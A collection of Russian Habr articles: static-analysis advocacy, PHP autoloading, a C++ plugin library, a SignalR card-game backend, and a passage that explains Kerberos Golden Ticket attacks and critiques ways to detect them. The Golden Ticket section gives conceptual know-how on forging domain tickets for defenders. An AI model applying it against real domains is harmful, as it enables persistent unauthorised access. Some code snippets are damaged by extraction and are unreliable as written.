Если в устройстве, благодаря статическому анализу, будет на несколько ошибок меньше, это великолепно. Возможно, благодаря обнаружению именно вот этих ошибок, никто не погибнет, или компания не потеряет большие деньги или репутацию из-за претензий со стороны клиентов.
Третья причина: программист может не знать, что делает что-то неправильно
-------------------------------------------------------------------------
Ошибки в программах образно можно разделить на два типа. Про ошибки первого типа программист знает, и появляются они в коде случайно, по невнимательности. Ошибки второго рода возникают в ситуации, когда программист просто не знает о том, что так писать код нельзя. Другими словами, он может сколько угодно читать такой код, но всё равно не найдёт ошибку.
Статические анализаторы имеют базу знаний о различных паттернах, которые в определённых условиях приводят к ошибке. Поэтому они могут указать программисту на ошибку, о существовании которой он сам бы вряд ли догадался. Примером может служить использование 32-битного типа *time\_t*, что может привести к неправильной работе устройства после [2038 года](https://www.viva64.com/ru/b/0505/).
Другим примером может служить неопределённое поведение программы, которое возникает из-за [неправильного использования](https://www.viva64.com/ru/b/0142/) операторов сдвига <>. Эти операторы очень широко используются в коде микроконтроллеров. К сожалению, программисты [часто](https://www.viva64.com/ru/examples/v610/) используют эти операторы крайне безалаберно, делая программы ненадёжными и зависимыми от версии и настроек компилятора. При этом программа вполне себе может работать, но вовсе не потому, что написана правильно, а потому, что везёт.
Используя статический анализатор, программисты могут подстраховать себя от множества подобных неприятных ситуаций. Дополнительно анализатор может использоваться для контроля качества кода в целом, что актуально, когда состав участников проекта растёт или изменяется. Другими словами, анализатор помогает отследить, не начал ли новичок писать плохой код.
Заключение
----------
Есть ещё одна причина в обязательном порядке использовать статический анализатор кода. Это когда проект должен соответствовать определённому стандарту разработки программного обеспечения на языке, например, MISRA C. Однако это, скорее, относится к административным мерам, и лежит немного в стороне от обсуждаемой темы.
Я хотел показать, что использование статического анализатора однозначно целесообразно для любого встраиваемого проекта. Используйте эту методологию, и вы сможете:
1. Сократить время на поиск и устранение ошибок ([пример](https://www.viva64.com/ru/b/0221/));
2. Уменьшить вероятность критических ошибок;
3. Уменьшить вероятность необходимости обновления прошивок;
4. Контролировать общее качество кода (рекомендуем дополнительно посмотреть в сторону [SonarQube](https://www.viva64.com/ru/b/0452/));
5. Контролировать качество работы новых членов команды;
6. Контролировать качество кода сторонних модулей/библиотек.
Нет причин не использовать статический анализ кода, кроме лени и [иллюзии превосходства.](https://www.viva64.com/ru/b/0498/)

Используйте статические анализаторы кода! Их [много](https://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis).
Мы, естественно, предлагаем обратить внимание на наш анализатор кода [PVS-Studio](https://www.viva64.com/ru/pvs-studio/), который недавно начал [поддерживать](https://www.viva64.com/ru/b/0561/) ряд ARM-компиляторов.
[](https://www.viva64.com/en/b/0563/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [Why embedded developers should use static code analysis](https://www.viva64.com/en/b/0563/). | https://habr.com/ru/post/351020/ | null | ru | null |
# Автозагрузка в PHP: начали за здравие, а кончили за упокой
#### Предисловие переводчика
Данная статья является вольным переводом-пересказом поста [The End of Autoloading](http://propel.posterous.com/the-end-of-autoloading). Оригинальная статья не первой свежести, поэтому код приведенный в примерах может быть не актуален. В теме, которую затрагивает статья, самое главное — общий взгляд, а не конкретные примеры.
#### Предисловие
Автозагрузка в PHP отлично экономит время. Это позволяет писать скрипты не задумываясь о путях к библиотекам, которые вы используете. Но с приходом неймспейсов и под влиянием Java-стиля современных фреймворков ситуация изменилась. В ближайшем будущем автозагрузка будет повсеместно, но без единой выгоды старого ее стиля.
#### До автозагрузки. Пути к файлам.
До появления автозагрузки, в каждом скрипте необходимо было указывать пути к используемым библиотекам. Исходный код выглядел так:
```
php
require_once 'PEAR.php';
require_once 'PEAR/DependencyDB.php';
class PEAR_Registry extends PEAR {
//...
}
</code
```
Зависимости явно прописывались в начале каждого скрипта. В этом примере зависимость очевидна, даже если вызов PEAR\_DependencyDB находится на 328 строке.
#### Приход SPL-автозагрузки.
Позже появилась функция spl\_autoload\_register(), позволившая убрать вызовы require/require\_once. Замечательным было то, что теперь появилась возможность использовать классы без необходимости знания где они расположены. Например:
```
php
class postActions extends sfActions
{
public function executeList()
{
$this-posts = PostPeer::doSelect(new Criteria());
}
}
```
Смотрите, здесь нет ни единого вызова require/require\_once, при том, что этот класс зависим от sfActions, PostPeer, и Criteria классов. Разработчики смогли заниматься бизнес-логикой, не тратя время на поиск путей зависимостей. Это было действительно удобно.
#### Реализации автозагрузки.
Реализации автозагрузки варьируются. Некоторые библиотеки используют список всех классов, которые нужно подключить. Например:
```
php
class Propel
{
// ..
protected static $autoloadMap = array(
'DBAdapter' = 'adapter/DBAdapter.php',
'DBMSSQL' => 'adapter/DBMSSQL.php',
'MssqlPropelPDO' => 'adapter/MSSQL/MssqlPropelPDO.php',
'MssqlDebugPDO' => 'adapter/MSSQL/MssqlDebugPDO.php',
// etc.
}
```
Эта техника позволила скрыть пути к классам, но заставила разработчика библиотеки обновлять “карту” автозагрузки, каждый раз, при добавлении нового класса. Другая техника использует проход по структуре папок проекта в поиске нужного класса. Такой подход позволил подменять классы фреймворка своими, т.к. проход по папкам происходил в определенном порядке: пользовательские папки, проекта, плагинов и фреймворка. Таким образом разработчик мог создать класс ClassName, который подменит ClassName предоставленный плагином, т.к. загрузится раньше.
#### Автозагрузка с неймспейсами
Приход неймспейсов изменил техники автозагрузки. Авторы фреймвроков объединились, что бы унифицировать техники автозагрузки, для возможности технического взаимодействия между различными библиотеками. Было решено, что явное лучше неявного и полное имя класса будет относительным путем к файлу.
```
\Doctrine\Common\IsolatedClassLoader
=> /path/to/project/lib/vendor/Doctrine/Common/IsolatedClassLoader.php
\Symfony\Core\Request
=> /path/to/project/lib/vendor/Symfony/Core/Request.php
\Zend\Acl
=> /path/to/project/lib/vendor/Zend/Acl.php
\Zend\Mail\Message
=> /path/to/project/lib/vendor/Zend/Mail/Message.php
```
Были выработаны принципы именования и файловой структуры, а также реализация класса [SplClassLoader](https://gist.github.com/221634). Этот подход сейчас используется практически во всех современных фреймворках. Пример кода:
```
php
namespace Application\HelloBundle\Controller;
use Symfony\Framework\WebBundle\Controller;
class HelloController extends Controller
{
public function indexAction($name)
{
$author = new \Application\HelloBundle\Model\Author();
$author-setFirstName($name);
$author->save();
return $this->render('HelloBundle:Hello:index', array('name' => $name, 'author' => $author));
}
}
```
Здесь все также нет require благодаря автозагрузке. Автозагрузчик ищет Symfony\Framework\WebBundle\Controller класс в файле Symfony/Framework/WebBundle/Controller.php.
Все хорошо, все довольны. Зависимости явные и подмена класса происходит легко:
```
php
namespace Application\HelloBundle\Controller;
// use a custom Controller class instead of the framework's Controller
use Application\HelloBundle\Tools\Controller;
class HelloController extends Controller
{
// same code as before
}
</code
```
#### Конец все удобствам.
Использование use в предыдущем примере вам ничего не напоминает? Это ведь очень похоже на старый добрый require/require\_once, не так ли?
```
php
// old style
require_once 'Application/HelloBundle/Tools/Controller.php';
// new style
use 'Application\HelloBundle\Tools\Controller';
</code
```
Привнесенная неймспейсами многословность в первую очередь снижает легкость использования автозагрузки. Но проблема не только в том, что нужно писать больше кода, в этом вам может помочь IDE с автодополнением, а в том, что вам нужно знать полные имена нужных вам классов. Вы должны очень хорошо знать классы фреймворка, чтобы использовать их. Это шаг назад по сравнению с автозагрузкой “первого поколения”, где было достаточно знать имя класса.
#### Другого пути нет.
Правда было бы замечательно, использовать современные библиотеки без знания их файловой структуры? Что если бы вы могли написать контроллер так:
```
php
class HelloController extends Controller
{
public function indexAction($name)
{
$author = new Author();
$author-setFirstName($name);
$author->save();
return $this->render('HelloBundle:Hello:index', array('name' => $name, 'author' => $author));
}
}
```
Умный автозагрузчик перехватил бы вызов класса Controller, загрузил бы файл Symfony/Framework/WebBundle/Controller.php и динамически создал алиас с Symfony\Framework\WebBundle\Controller на Controller. К сожалению в PHP use создает алиас во время компиляции, поэтому такой ход не сработает. Конечно есть возможность сделать подобное используя eval, но это, наверное, даже хуже, чем подключать файлы вручную. Также создание таких алиасов при работе с фреймворком не возможно по причине конфликта с ленивой загрузкой и конфликта имен классов, например:
Symfony\Framework\WebBundle\Command
и
Symfony\Components\Console\Command\Command
Пока авторы фреймворков не изменят свой взгляд на автозагрузку, будущее PHP мне видится многословным.
#### Решение проблемы.
Лично я, думаю, что многословность сильно замедляет разработку. Например возьмем микрофреймворки – они дают возможность обработать запрос быстро, при минимуме MVC-разделения. Сравним код примерного приложения написанного с использованием Slim (автозагрузка без неймспейсов) и Silex (автозагрузка с неймспейсами):
```
php
// Hello world with Slim
require_once 'slim/Slim.php';
Slim::init();
Slim::get('/hello/:name', function($name) {
Slim::render('hello.php', array('name' = $name));
});
Slim::run();
// Hello world with Silex
require_once 'silex.phar';
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Templating\Engine;
use Symfony\Component\Templating\Loader\FilesystemLoader;
use Silex\Framework;
$framework = new Framework(array(
'GET /hello/:name' => function($name) {
$loader = new FilesystemLoader('views/%name%.php');
$view = new Engine($loader);
return new Response($view->render(
'hello',
array('name' => $name)
));
}
));
$framework->handle()->send();
```
Во втором примере, автозагрузка делает все только сложнее.
Разработчики современных фреймворков объясняют, что многословность – это цена, которую мы платим за качество кода. Я не уверен, что хочу платить эту цену. Я не хочу видеть как PHP превращается в Java, где код превосходен с точки зрения Computer Science, но очень затратен в написании. Это побуждает желание к использованию других языков, где вопрос автозагрузки с неймспейсами не стоит и при этом, быстрая разработка возможна.
Возьмем например Ruby. Существует такой фреймворк как Sinatra, используя который HelloWorld-приложение становится очень лаконичным:
```
require 'sinatra'
require 'erb'
get '/hello/:name' do |name|
@name = name
erb :hello
end
```
Ой, смотрите, здесь же используется require! И при этом, все пишется очень быстро и легко в использовании. | https://habr.com/ru/post/138920/ | null | ru | null |
# Ещё один С++ plugin framework
Вступление
----------
Кого не посещала, пользуясь open-source библиотеками, мысль: *«Спасибо этим парням за эту крутую либу! Когда-нибудь и я напишу что-нибудь стоящее, и выложу это в public, чтоб другие пользовались!»*
Да всех! Или не ?..
С приходом стандарта C++17, наши `хотелки` решаются гораздо быстрее и изящнее, нужно лишь захотеть воплотить в жизнь задуманную идею, и уметь применять на деле вкусняшки, которыми нас балуют ребята из **WG21**.
`Не слишком ли много и? Хотя: #мыжпрограммисты, для нас это норма )) ...`
Предыстория
-----------
Тема плагинов довольно интересная, потому что позволяет вносить новый функционал в Программное Обеспечение (ПО) без внесения изменений в ядро программы, но при этом должен быть продуман и написан интерфейс для взаимодействия: **ПО** <-> **Менеджер Плагинов** <-> **Плагины**.
У меня имеется опыт (неудачный) собеседования в фирму, в которой имеется своя плагиновая система для embedded систем, из-за запутанности архитектуры которой я завалил тестовое задание. Там много макросов внутри базовых классов от которых наследуется, и много всякого такого, что делает будни программиста серыми в моменты использования подобных решений...
В один из моментов самообразования, и прочтения статей по C++17 и было принято решение закрепить почерпнутые знания при написании системы плагинов, которая бы была понятной и легкой в использовании.
Насколько плохо или хорошо у меня это получилось — судить вам, дорогие хабровчане...
Обзор
-----
### Возможности библиотеки
* Плагины как сервисы (выполняются в отдельных трэдах)
* Автоматическая выгрузка неиспользуемых плагинов
### Плюсы
* Простота использования
* Асинхронное выполнение задач
* Header-only дизайн
### Минусы
* Если вносится в систему новый плагин, то он должен быть скомпилирован той же версией компилятора что и менеджер его загружающий (также как и libstdc++) для совместимости ABI
* Постоянные кэсты из std::any к используемым типам?
* Проверка фьючерсов на валидность?
### Создание плагина
```
class myplugin : public micro::iplugin {
public:
myplugin(int ver, const std::string& nm):micro::iplugin(ver, nm) {
// регистрация лямбды в плагине
subscribe<2>("sum2",
[](std::any a, std::any b)-> std::any {
return std::any_cast(a) + std::any\_cast(b);
},
"справка к функции"
);
}
};
```
### Загрузка плагина
```
std::shared_ptr manager = micro::plugins::get();
std::shared\_ptr myplugin = manager->get\_plugin("myplugin");
if (myplugin && myplugin->has<2>("sum2")) {
std::shared\_future result = myplugin->run<2>("sum2", 25, 25);
result.wait();
std::cout << std::any\_cast(result.get()) << std::endl;
}
```
Более детальные примеры смотрите [на странице проекта](http://github.com/dmxvlx/microplugins)
Вместо заключения
-----------------
Мне очень приятно читать познавательные статьи на Хабре по С++ (да и не только по C++),
надеюсь и вам эта статья будет интересна и хоть сколько-нибудь познавательна.
По моему скромному мнению, либу можно юзать в проде, пусть взглянут более авторитетные C++'ки и скажут своё слово, исходники хорошо документированы и их не много, — порядка 1000 строк.
Ссылка на проект
----------------
[microplugins](http://github.com/dmxvlx/microplugins) | https://habr.com/ru/post/422401/ | null | ru | null |
# Приложение Дурак для Windows Store

*Поль Сезанн, «Игроки в карты»*
Давным-давно, в Windows 95 была игра Microsoft Hearts. Игра в карты по сети, с оппонентами по всему миру. Если мне не изменяет память, то в Windows for Workgroups 3.11 (да, я застал все эти артефакты!) была версия для игры по локальной сети, с использованием так называемого NetDDE.
Карточную игру выбирать долго не пришлось. Как говорится, чем богаты… Высоколобые бридж и преферанс отпали по причине полного их незнания. Оставалось одно — ~~пропадать~~ подкидной дурак.
Ситуация осложнялась тем, что до сих пор я никогда не занимался разработкой «бэкенда». Гуглинг привёл меня сразу в нужное место — [SignalR](https://docs.microsoft.com/ru-ru/aspnet/signalr/overview/getting-started/introduction-to-signalr).
Здесь мне хочется сказать несколько восторженных слов в адрес SignalR. Прекрасно документированная библиотека, подошедшая как нельзя лучше к моим нуждам. Зануды скажут, что она только под винду, ну и пусть они скрипят зубами от зависти. Хотя вроде есть её колхозные клиенты для iOS, детально этот вопрос я не изучал.
Дальше вопрос хостинга. Тут я размышлял недолго, под руками был Azure.
Итак, чего же мне хотелось?
---------------------------
* Способ подключения игроков должен повторять способ Microsoft Hearts. Игроки подключаются один за одним, как только набралось нужное количество — игра стартует. Для себя я решил ограничиться игрой «один на один» — и никаких ничьих!
* В самом начале игроков будет немного — как же они узнают друг о друге? Тут возникла идея рассылать всем желающим поиграть push-уведомления в тот момент, когда кто-то запускает приложение и подключается к игровому серверу. Чтобы не троттлить пользователей пушами, сделал ограничение «не чаще чем раз в N минут».
* Хочется подробнейшей статистики, призов, достижений и пр.
* Хочется карт разного дизайна
* Хочется играть со своим знакомым, а не с кем «кого бог послал».
Что я использую у Azure?
------------------------
* AppService — собственно, приложение, к которому подключаются все клиенты.
* SQL server + SQL database — для хранения игровой статистики.
Всё.
Недавно я еще использовал и их службу рассылки push-уведомлений. Но показалось дорого (10 баксов в месяц), кроме того, выяснилось, из-за глюка биллинга у Microsoft я больше года платил за две этих службы! Бодание с поддержкой привело к тому, что они признали ошибку и предложили аж месяц компенсации. Спустя какое-то время я полностью отказался от этой службы, добавив еще одну таблицу в свою базу данных для хранения подписантов на пуши и рассылаю их самостоятельно из основного приложения.
В данный момент времени стоимость хостинга ежемесячно около 400 р. Это только стоимость SQL сервера. Исходящий трафик у меня небольшой и он вполне укладывается в бесплатные 5 Гб в месяц.
Разработка
----------
Разработка проходила на Visual Studio 2015, для клиента использовался MVVM фреймворк MVVM light.
#### Немного серверной «кухни» (эстетам и слабонервным лучше не смотреть)
**подключение пользователей, рассылка пушей**
```
public override Task OnConnected()
{
if (((DateTime.Now - LastPush).TotalSeconds) > 360)
{
LastPush = DateTime.Now;
Task.Run(() => SendNotifications());
}
return base.OnConnected();
}
```
**создание анонимной игры**
```
///
/// старт анонимной игры. При наличии уже подключенного соперника начинается игра
///
/// ID начатой игры
async public Task ConnectAnonymous(PlayerInformation pi)
{
MainSemaphore.WaitOne();
try
{
string res = String.Empty;
string p\_ip = Context.Request.GetHttpContext().Request.UserHostAddress;
if (NextAnonymGame == null)
{
NextAnonymGame = new FoolGame(Context.ConnectionId, pi, p\_ip, false);
res = NextAnonymGame.strGameID;
}
else
{
await NextAnonymGame.Start(Context.ConnectionId, pi, p\_ip);
ActiveGames.Add(NextAnonymGame.strGameID, NextAnonymGame);
res = NextAnonymGame.strGameID;
NextAnonymGame = null;
}
return res;
}
finally
{
MainSemaphore.Release();
}
}
```
**создание игровой комнаты**
```
///
/// создание игровой комнаты
///
/// кодовое слово игровой комнаты
public String CreatePrivateGame(PlayerInformation pi)
{
MainSemaphore.WaitOne();
try
{
string p_ip = Context.Request.GetHttpContext().Request.UserHostAddress;
FoolGame game = new FoolGame(Context.ConnectionId, pi, p_ip, true);
WaitingPrivateGames.Add(game.strGameID, game);
return game.PrivatePass;
}
finally
{
MainSemaphore.Release();
}
}
```
**подглядеть верхнюю карту в колоде**
```
///
/// возвращает верхнюю карту из стека-колоды
///
///
///
async public Task PeekCard(string gameid)
{
FoolGame game = null;
game = ActiveGames.FirstOrDefault(games => games.Value.strGameID == gameid).Value;
if (game != null)
{
game.GameSemaphore.Wait();
await Task.Delay(35);
try
{
await Clients.Caller.PeekedCard(game.Deck.Peek());
}
finally
{
game.GameSemaphore.Release();
}
}
}
```
**отправить сообщение сопернику**
```
///
/// чат
///
/// ID игры (и имя группы)
/// текст сообщения
///
async public Task ChatMessage(string gameid, string ChatMessage)
{
FoolGame game = null;
game = ActiveGames.FirstOrDefault(games => games.Value.strGameID == gameid).Value;
if (game != null)
{
game.GameSemaphore.Wait();
await Task.Delay(35);
try
{
await Clients.OthersInGroup(gameid).ChatMessage(ChatMessage);
}
finally
{
game.GameSemaphore.Release();
}
}
}
```
#### О клиенте
Для идентификации игроков первоначально использовалcя функционал LiveId, затем Graph API. При первом запуске приложения игроку предлагается предоставить доступ к его аккаунту (из него я беру только имя и так называемый анонимный id, выглядящий примерно так: «ed4dd29dda5f982a»). Впрочем, игрок может играть и анонимно, но тогда статистика его игр не ведётся.
Для каждого неанонимного игрока хранятся:
1. дата первой игры/дата последней игры
2. имя/ник игрока
3. количество сыгранных партий/сколько из них выиграно
4. последний IP адрес
5. полученные призы
Если в игре играют два неанонимных игрока, то перед её началом я получаю статистику игр именно этих игроков (сколько игр они сыграли друг с другом и кто сколько выиграл). Для этого в SQL-запросе и используются полученные анонимные id.
На скриншоте слева вверху можно увидеть пример (кликабельно):
[](https://habrastorage.org/webt/kf/f6/zy/kff6zyaelk9orpazyvgnvosfxg4.png)
Скриншот общей статистики (кликабельно):
[](https://habrastorage.org/webt/rn/hi/fy/rnhifyxjr_frp_txbsjzeks4wsq.png)
Кроме того, ведётся «соревнование» по странам (тут участвуют и анонимные игроки, информация берётся из IP-адреса):

Игроки могут обмениваться короткими сообщениями.
```
FoolHubProxy.On("ChatMessage", (chatmessage) => synchrocontext.Post(delegate
{
PlayChatSound();
ShowMessageToast(chatmessage);
}, null));
```
Пример обработчика ситуации «я беру карты, а соперник добавляет мне еще 'вдогонку'»:
```
FoolHubProxy.On("TakeOneMoreCard", (addedcard, lastcard) => synchrocontext.Post(delegate
{
CardModel card = new CardModel(addedcard, DeckIndex);
CardsOnTable\_Low.Add(card);
OpponentsCards.Remove(OpponentsCards.Last());
if (lastcard)
{
AppMode = AppModeEnum.defeated;
}
}, null));
```
О призах, печеньках и пр.
-------------------------
Каждый месяц первая пятерка игроков, одержавших больше всех побед, получает по бейджику ~~«За взятие Берлина»~~. Участникам топ-50 вручаются бейджики за лучший процент побед (тоже пятерым). Кроме того, есть бейджики за выигрыш «экспрессом» (ситуация, когда на последнем ходу у вас остаётся 2, 3 или 4, скажем, шестёрки или валетов). Тогда они выкладываются на стол все махом и вы — молодец. Есть печеньки за победу, когда соперник дает вам «в лист». Ему тоже достаётся утешительная, с черепом и костями.
О всяком дополнительном функционале
-----------------------------------
Приложение бесплатное, но у него есть разные дополнительные «плюшки», оформленные как InApp Purchases:
* группировка своих карт по масти и подсказки во время игры (когда нужно бить или подбрасывать, подходящие карты выдвигаются вверх)
* возможность не показывать сопернику, сколько у вас карт в руках. В обычной ситуации он это видит
* возможность всегда первым начинать игру. Иначе первый ход разыгрывается случайно
* возможность увидеть отбитые в игре карты
* возможность один раз за игру подглядеть в колоду и узнать следующую карту
* возможность «жульничать». Вы можете 3 раза за игру отбиться или подбросить неправильную карту, вообще любую. Но у соперника есть возможность, заметив это, вернуть вам неправильную карту.
Заключение
----------
В результате разработки этого приложения я:
* познакомился с SignalR
* освежил в памяти SQL (запросы, хранимые процедуры, функции)
* узнал, как размещать приложения в Azure
* опупел от игры в «дурака».
Вопрос
------
А как на Хабре обстоит дело с ~~разбрасыванием денег с вертолёта~~ раздачей в личке промо-кодов желающим? Если за это не дают пинка, то обращайтесь.
Update
------
[YouTube: запись пары игр](https://youtu.be/K6iXKeG4IIs) | https://habr.com/ru/post/442746/ | null | ru | null |
# Golden Ticket: разбираем атаку и методы ее детекта
Привет, Хабр!
Сегодня мы хотим поговорить об атаке с применением известной техники Golden Ticket (T1558.001). О том, что лежит в основе Golden Ticket атак и какие механизмы их реализации существуют, написано уже много. Поэтому в этой статье мы сфокусируемся больше на способах детектирования подобных угроз.
Мы разберем публичные примеры детекта Золотых билетов, которые есть в сети, и расскажем о том, почему, как нам кажется, эти методы могут не сработать. А также приведем способ детектирования, который, опираясь на нашу практику, оказался более эффективным для выявления подобных атак. Мы не беремся утверждать, что предложенный нами метод является единственным верным способом детектирования Golden Ticket, скорее альтернативным.
Прежде чем приступить, давайте еще раз вспомним, что такое Kerberos и Golden Ticket, а также какую мотивацию преследует злоумышленник при выполнении этой атаки.
Вспомним про Kerberos
---------------------
**Kerberos** – сетевой протокол аутентификации, распространенный в средах Windows Active Directory, позволяет передавать данные через незащищённые сети для безопасной идентификации. Протокол проверки подлинности Kerberos обычно используется для аутентификации на объектах доменной инфраструктуры.
Kerberos предоставляет множество преимуществ, которые помогают сделать аутентификацию безопасной и удобной. Но опытные хакеры могут использовать слабые места в Kerberos для своих злонамеренных целей. Для полного понимания картины атак нам нужно еще вспомнить механизмы работы протокола Kerberos.
При использовании Kerberos пользователи никогда не аутентифицируют себя напрямую в различных необходимых им службах. Вместо этого **Центр распространения ключей Kerberos (KDC)** функционирует как доверенная сторонняя служба проверки подлинности. Компонентами KDC являются **сервер аутентификации** **(AS, Authentication Server**) и **сервер выдачи билетов (TGS, Ticket-Granting Service)**. Он действует как контрольная точка и выдает **билеты, удостоверяющие личность пользователя (TGT, Ticket-Granting Ticket)**, после его аутентификации. Когда пользователю требуется доступ к ресурсам, ему не нужно повторно аутентифицироваться, клиент просто отправляет TGT, чтобы доказать, что он уже недавно это сделал.
Важно отметить, что все TGT билеты KDC шифрует с помощью пароля для специальной учетной записи **KRBTG**.
Как работает Golden Ticket
--------------------------
**Golden Ticket** — способ атаки, при которой злоумышленник имеет возможность получить секретный ключ сервисной учётной записи в Active Directory (KRBTGT), он же является тем самым паролем в зашифрованном виде.
Наличие секретного ключа позволяет атакующему использовать его для подделки Ticket- Granting Ticket для аутентификации под любым пользователем домена. Ключом KRBTGT подписываются все TGT в домене. Соответственно, украв этот ключ, злоумышленник сможет подделать любой TGT билет в домене, и он будет принят – так как подпись валидна.
Помимо того, что атакующий может создать TGT для любого пользователя в домене, есть еще одна неприятность: секретный ключ сервиса KRBTGT по умолчанию никогда не меняется, только за исключением случаев, когда контроллер домена (DC) был обновлён, а процедура смены обладает рядом сложностей, что делает эту атаку эффективной для закрепления в домене.
**Таким образом, Золотой билет — это поддельный TGT, созданный с помощью украденного ключа KDC.**
Давайте здесь остановимся и чуть подробнее разберём, как формируются Ticket-Granting Ticket и Ticket-Granting Service.
Ticket-Granting Ticket (TGT)
----------------------------
TGT или билет, удостоверяющий личность пользователя — по сути является доказательством успешно пройденной аутентификации. Если кратко, то алгоритм получения TGT выглядит следующим образом:
1. Для получения TGT формируется AS\_REQ, который направляется на KDC. В качестве последнего в инфраструктуре MS Active Directory выступают контроллеры доменов. В самом AS\_REQ фигурируют атрибуты:
* User Principal Name
* Domain Name (Realm)
* Service Principal Name
* Copy of the Session Key
* Pre-Authentication Timestamp, зашифрованный с помощью ключа, который был создан на основе пароля от учетной записи
2. После проверки наличия пользователя в базе NTDS.dit, расшифровки и сравнении временных меток формируется ответное сообщение AS\_REP. Отметим, что только часть сообщения относится непосредственно к TGT. Она как раз зашифрована с помощью ключа KDC, а уже сам ключ сгенерирован на основании пароля от системной учетной записиKRBTGTи уникален для каждого домена. При легитимной ситуации набор атрибутов может быть расшифрован только на контроллере домена. Атрибуты AS REP:
* User Principal Name
* Domain Name
* Service Principal Name
* Copy of the Session Key
* Privilege Attribute Certificate (PAC)
* Time To Live (TTL)
Хотя по умолчанию TGT обычно действительны в течение 10 часов, злоумышленник может сделать их действительным в течение любого промежутка времени, вплоть до 10 лет. По этой причине наличие четкой стратегии для обнаружения, смягчения последствий и устранения этих атак имеет решающее значение.
### Ticket-Granting Service (TGS)
TGS называют сервисным билетом, который используется для получения доступа к доменным ресурсам. По умолчанию TGS действителен в течение 10 часов, он не может быть обновлен, а должен каждый раз запрашиваться повторно, в отличие от TGT, в реализованном варианте протокола от Microsoft.
Получение TGS происходит так:
1. Формируется запрос TGS\_REQ в сторону KDC с некоторым набором атрибутов, включая TGT:
* User Principal Name
* Domain Name
* Service Principal Name
* Ticket-Granting Ticket (TGT)
* Pre-Authentication Timestamp
2. KDC расшифровывает TGT, проверяет временную метку и формирует TGS\_REP, который отправляется в сторону клиента. В свою очередь атрибуты, которые относятся к TGS зашифрованы с помощью ключа сервиса.
*Примечание: Если злоумышленник имеет ключ сервиса, то он может подделывать TGS для этого сервиса, такая атака называется* **Silver Ticket***.*
Механизм атаки
--------------
Изучив основные компоненты рабочего процесса проверки подлинности Kerberos, имеющие отношение к атаке Golden Ticket, рассмотрим сам механизм ее использования.
Как уже было сказано, KDC подписывает своим ключом все TGT билеты в домене, поэтому кража этой секретной подписи позволяет подделывать такие билеты. При этом при подделке билетов злоумышленник имеет возможность записать в билете любую информацию. Например, может указать, что обладает правами администратора домена или даже представиться несуществующим пользователем, у которого есть административные права. Это обеспечивает ему беспрепятственный доступ к сетевым ресурсам организации и, пожалуй, самое серьезное, возможность находиться в инфраструктуре длительный период, иногда даже несколько лет, маскируясь под учетные данные пользователей, в том числе и уровня администратора. Эта ситуация имеет место быть, потому что проверка пользователя происходит только на этапе AS\_REQ, когда мы предоставляем KDC свои учетные данные: логин и пароль.
Стоит еще раз отметить, что такая атака возможна в связи с архитектурными особенностями протокола Kerberos, так как в данном случае используется подход, при котором все участники доменной инфраструктуры должны доверять KDC, как главному распорядителю ключей и верификатору пользователей. Поэтому нет ничего удивительного в том, что компрометация ключа KDC приведёт и к компрометации всего домена.
Детектирование
--------------
Ну а теперь вернемся к основной теме статьи, то есть к самому началу, где мы рассказывали, что в Интернете присутствует множество способов детектирования Golden Ticket.
Ниже мы приводим обезличенные реальные примеры детекта, многие из которых вызывают вопросы, поскольку некоторые способы можно обойти, а другие сообщают не об атаке, а скорее о легитимной деятельности. И дальше финально попытаемся предоставить способ детектирования, который, на наш взгляд, лишен этих недостатков.
#### Пример детекта 1
**Предлагаемый вариант:**Наблюдение за необычной активностью, связанной с [Active Directory и Kerberos](https://www.extrahop.com/company/blog/2021/detect-kerberos-golden-ticket-attacks/). Вы можете проводить аудит событий Kerberos AS и TGS на наличие несоответствий. События входа в систему и выхода из системы Windows, которые содержат пустые поля (идентификаторы событий 4624, 4672 и 4634), могут быть индикаторами атаки Golden Ticket или действиями Pass-The-Ticket атаки, связанной с Golden Ticket. Другими индикаторами атаки с использованием Golden Ticket могут быть запросы билетов TGS без предыдущих запросов TGT или билеты TGT с произвольными значениями времени жизни [[1](#scroll-bookmark-17)].
**В чем минусы:**
1. Перечисленные типы событий (4624: An account was successfully logged on, 4672: Special privileges assigned to new logon, 4634: An account was logged off) не содержат каких-либо отличительных строк от обычной аутентификации, потому что TGT и TGS билеты, которые использует злоумышленник являются абсолютно легальными с точки зрения доменных устройств и самого KDC.
2. Запрос TGS без наличия запроса TGT – это шаг в правильном направлении (об этом будет сказано ниже), но он не является панацей, так как атакующий может подделать TGT, если у него есть пароль любого пользователя (в большинстве случаев это так). Также в домене могут существовать пользователи, для получения билетов, которых не нужен пароль, у этих пользователей в атрибуте *UserAccountControl* присутствует флаг *DONT\_REQ\_PREAUTH*.
3. Основываться на времени жизни TGT билета ненадёжно, так как атакующий может подставить любое время жизни в TGT билет, включая тот, что применяется в целевом домене.
#### Пример детекта 2
**Предлагаемый вариант:**Рекомендовано проверить логи на наличие пропущенных/изменённых полей, так как обычно логи, связанные с Golden Ticket могут иметь одну из следующих проблем:
**Event ID: 4624 (Account Logon)**Необычное поведение заключается в поле Account Domain, которое при атаке содержит полное имя домена, когда там должно быть краткое имя домена.
Пример: имя домена, отображаемое в поле Account Domain: LAB.ADSECURITY.ORG, а должно быть [ADSECLAB].
**Event ID: 4672 (Admin Logon)**Необычное поведение заключается в поле Account Domain, при атаке оно пустое, когда там должно быть краткое имя домена.
Пример: имя домена, отображаемое в поле Account Domain: \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_, а должно быть *[*[*ADSECLAB*](https://adsecurity.org/?p=1515)*] [*[*2*](#scroll-bookmark-17)*]*
**В чем минус:**
Этот способ детекта не будет работать, так как при формировании TGT билета у атакующего есть возможность скорректировать поля, включая имя домена и доменное имя целевого аккаунта.
#### Пример детекта 3
**Предлагаемый вариант:**
В качестве еще одного способа обнаружения Golden Ticket вы можете провести мониторинг билетов Kerberos, выданных со значениями срока действия, превышающего максимальное значение, которое разрешено в политике домена. Это позволит обнаружить большинство атак Golden Ticket, но если какие-либо пользователи создадут Золотой билет срок действия которых не превышает разрешенного срока, то они не будут обнаружены. Однако это в значительной степени противоречит цели Golden Ticket — иметь неограниченный административный [доступ к домену](https://stealthbits.com/attacks/golden-ticket/) [[3](#scroll-bookmark-17)].
**В чем минус:**
Так как у злоумышленника есть ключ KRBTGT, он не нуждается в создании TGT на очень долгий срок. В любой момент хакер может создать новый билет, чей срок действия не превышает разрешенного в политике домена. Таким образом можно сохранять доступ к домену на долгое время и при этом не попадаясь под такого рода детект.
#### Пример детекта 4
